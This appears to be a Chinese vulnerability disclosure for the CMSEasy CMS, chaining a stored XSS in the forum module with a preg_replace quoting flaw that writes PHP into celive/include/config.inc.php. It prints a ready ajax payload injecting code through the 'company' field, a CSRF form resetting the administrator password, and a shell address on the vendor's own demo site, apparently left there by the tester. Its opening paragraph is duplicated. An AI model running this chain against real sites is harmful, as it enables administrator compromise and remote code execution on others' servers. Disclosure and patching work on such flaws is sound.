### 简要描述: 存储xss可打管理员,因为一个有趣的preg_replace函数特性造成getshell。 ### 详细说明: 用官方的demo测试了一遍 官网shell地址:http://test.cmseasy.cn/celive/include/config.inc.php [<img src="https://images.seebug.org/upload/201503/151136440d242a2f2082108da0961406771e0beb.png" alt="屏幕快照 2015-03-15 上午11.36.22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/151136440d242a2f2082108da0961406771e0beb.png) 流程: (1)在bbs发帖。 (2)管理员审核帖子时触发 (3)getshell?(可以用一个csrf getshell,但是此csrf需要登陆过celive,最好的方法就是打到cookie或者修改管理员的密码,然后自己登陆后台getshell) #~存储xss位置: 在文件bbs/add-archive.php下 可以看到请求添加文章的代码直接 inserData()没有过滤,但是cmseasy有全局过滤,然后我们来看看过滤代码,惊奇的发现这段过滤xss的代码被注释了,而只有防sql注入的代码 [<img src="https://images.seebug.org/upload/201503/151141179bbd5b9ebd2a488d09a15030cfb66779.png" alt="屏幕快照 2015-03-15 上午11.38.37.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/151141179bbd5b9ebd2a488d09a15030cfb66779.png) 输出: 文件: /bbs/admin/admin-list-archive.php...
### 简要描述: 存储xss可打管理员,因为一个有趣的preg_replace函数特性造成getshell。 ### 详细说明: 用官方的demo测试了一遍 官网shell地址:http://test.cmseasy.cn/celive/include/config.inc.php [<img src="https://images.seebug.org/upload/201503/151136440d242a2f2082108da0961406771e0beb.png" alt="屏幕快照 2015-03-15 上午11.36.22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/151136440d242a2f2082108da0961406771e0beb.png) 流程: (1)在bbs发帖。 (2)管理员审核帖子时触发 (3)getshell?(可以用一个csrf getshell,但是此csrf需要登陆过celive,最好的方法就是打到cookie或者修改管理员的密码,然后自己登陆后台getshell) #~存储xss位置: 在文件bbs/add-archive.php下 可以看到请求添加文章的代码直接 inserData()没有过滤,但是cmseasy有全局过滤,然后我们来看看过滤代码,惊奇的发现这段过滤xss的代码被注释了,而只有防sql注入的代码 [<img src="https://images.seebug.org/upload/201503/151141179bbd5b9ebd2a488d09a15030cfb66779.png" alt="屏幕快照 2015-03-15 上午11.38.37.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/151141179bbd5b9ebd2a488d09a15030cfb66779.png) 输出: 文件: /bbs/admin/admin-list-archive.php foreach出来直接echo了没有进行xss过滤,这样就造成xss漏洞 这样我们就可以随意xss了。 [<img src="https://images.seebug.org/upload/201503/1511430247a98dc4ae7b4a7a58ee682bf7af35eb.png" alt="屏幕快照 2015-03-15 上午11.42.40.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1511430247a98dc4ae7b4a7a58ee682bf7af35eb.png) #~一个有趣的preg_replace函数造成getshell: 在celive/admin/system.php文件 ,可以看到都做了addslashes操作,没有问题,之后进入conf函数。 ``` if (isset($_POST['systeminfo'])) { if (isset($_POST['submit'])) { if(addslashes($_POST['customer_info'])) { $customer_info='true'; }else{ $customer_info='false'; } $GLOBALS['celsysteminfo']->conf(addslashes($_POST['url']), addslashes($_POST['template']), addslashes($_POST['company']),addslashes($_POST['companyinfos']), addslashes($_POST['language']), $customer_info, addslashes($_POST['tracker_refresh'])); //提交修改后,需自动刷新一次,才能显示修改的内容 echo "<script>window.history.go(-1);</script>"; } $GLOBALS['template']->assign('up_sys_success', '<font color=red>(更新成功)</font>'); } ``` 看到conf函数,后面使用了preg_replace函数 preg_replace函数有一个特性,会将\\\\\' 变成 \\' [<img src="https://images.seebug.org/upload/201503/15115418bd5f2943ebdc01c96dd4d68707839057.png" alt="屏幕快照 2015-03-15 上午11.53.19.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/15115418bd5f2943ebdc01c96dd4d68707839057.png) 这样就逃脱了引号进行getshell,并且此处操作没有验证token等防止csrf的措施。 ``` function conf($url,$template,$company,$companyinfos,$language ,$customer_info ,$tracker_refresh) { $this->file = $GLOBALS['file']->read(dirname(__FILE__).'/config.inc.php'); $this->file = preg_replace("/\['url'\] = '.*';/",'[\'url\'] = \''.$url.'\';',$this->file); $this->file = preg_replace("/\['template'\] = '.*';/",'[\'template\'] = \''.$template.'\';',$this->file); $this->file = preg_replace("/\['lang'\] = '.*';/",'[\'lang\'] = \''.substr($language,0,-4).'\';',$this->file); $this->file = preg_replace("/\['company'\] = '.*';/",'[\'cm pany\'] = \''.$company.'\';',$this->file); $this->file = preg_replace("/\['companyinfos'\] = '.*';/",'[\'companyinfos\'] = \''.$companyinfos.'\';',$this->file); $this->file = preg_replace("/\['language'\] = '.*';/",'[\'language\'] = \''.$language.'\';',$this->file); $this->file = preg_replace("/\['customer_info'\] = .*;/",'[\'customer_info\'] = '.$customer_info.';',$this->file); $this->file = preg_replace("/\['tracker_refresh'\] = '.*';/",'[\'tracker_refresh\'] = \''.$tracker_refresh.'\';',$this->file); $GLOBALS['file']->save(dirname(__FILE__).'/config.inc.php',$this->file); } ``` 所以我们修改公司地址为aaaa';phpinfo();// 就可以getshell了 用到了parsec团队兔子君编写的love.js(https://quininer.github.io/tests/love.js)来辅助编写payload ``` love.req.ajax("http://127.0.0.1/cms/cmseasy/celive/admin/system.php?action=systeminfo", "url=http%253A%252F%252F127.0.0.1%252Fcms%252Fcmseasy%252Fcelive&company=aaaa%27;phpinfo%28%29%3B%2F%2F&customer_info=0&tracker_refresh=5000&template=default&submit=%25E7%25A1%25AE%25E8%25AE%25A4&systeminfo=systeminfo", { "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded" }, function(data){ alert(data.target.responseText); }); ``` 当管理员后台审核帖子时,触发xss加载了此js文件,就顺利geyshell了 shell地址:http://127.0.0.1/cms/cmseasy/celive/include/config.inc.php --------------------------------- --------------------------------- csrf漏洞 其实也可以不用xss来得到后台权限,因为后台修改管理员没有csrf限制,所以可以利用此csrf。 诱惑管理员点击一个页面,此页面是我们修改管理员密码的csrf页面,管理员点击后,csrf修改密码,我们登陆后台用上面的方法就可以getshell。 我想cmseasy这样一个交互性cms让管理员点击一个页面也不难吧 ``` var _f=new_form(); creat_elements(_f,"username","admin"); creat_elements(_f,"passwordnew","admin123"); creat_elements(_f,"submit","%E6%8F%90%E4%BA%A4"); _f.action="http://127.0.0.1/cms/cmseasy/index.php?case=table&act=edit&table=user&id=1&admin_dir=admin&site=default"; _f.submit(); ``` ### 漏洞证明: [<img src="https://images.seebug.org/upload/201503/151136440d242a2f2082108da0961406771e0beb.png" alt="屏幕快照 2015-03-15 上午11.36.22.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/151136440d242a2f2082108da0961406771e0beb.png)